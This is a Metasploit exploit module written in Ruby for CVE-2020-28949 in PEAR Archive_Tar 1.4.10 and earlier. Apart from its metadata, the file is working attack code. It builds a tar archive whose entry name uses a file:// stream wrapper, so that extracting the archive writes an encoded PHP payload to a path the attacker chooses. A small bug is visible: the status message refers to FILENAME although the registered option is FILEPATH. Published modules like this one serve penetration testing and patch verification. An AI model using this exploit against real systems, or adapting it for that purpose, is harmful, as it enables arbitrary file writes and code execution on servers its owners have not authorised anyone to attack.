PEAR Archive_Tar 1.4.10 Arbitrary File Write

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PEAR Archive_Tar 1.4.10 Arbitrary File Write',
        'Description' => %q{
          This module takes advantages of Archive_Tar <= 1.4.10's lack of validation of file stream wrappers contained
          within filenames to write an arbitrary file containing user controlled content to an arbitrary file
          on disk. Note that the file will be written to disk with the permissions of the user that PHP is
          running as, so it may not be possible to overwrite some files if the PHP user is not appropriately
          privileged.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'gwillcox-r7', # Metasploit module
          'xorathustra', # Original advisory and PoC
        ],
        'References' => [
          ['URL', 'https://github.com/pear/Archive_Tar/issues/33'],
          ['CVE', '2020-28949']
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
          'DisablePayloadHandler' => true
        },
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['Archive_Tar <= 1.4.10', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2020-11-17'
      )
    )

    register_options([
      OptString.new('FILEPATH', [true, 'The full path to the file to write on the target.', '/tmp/msf.php'])
    ])
  end

  def exploit
    # Create malicious tar archive
    tarfile = StringIO.new
    Rex::Tar::Writer.new tarfile do |tar|
      tar.add_file "file://#{datastore['FILEPATH']}", 0o644 do |io|
        io.write payload.encoded
      end
    end
    tarfile.rewind
    file_buffer = tarfile.read

    print_status "Writing file: #{datastore['FILENAME']} (#{file_buffer.length} bytes) ..."
    file_create file_buffer
  end
end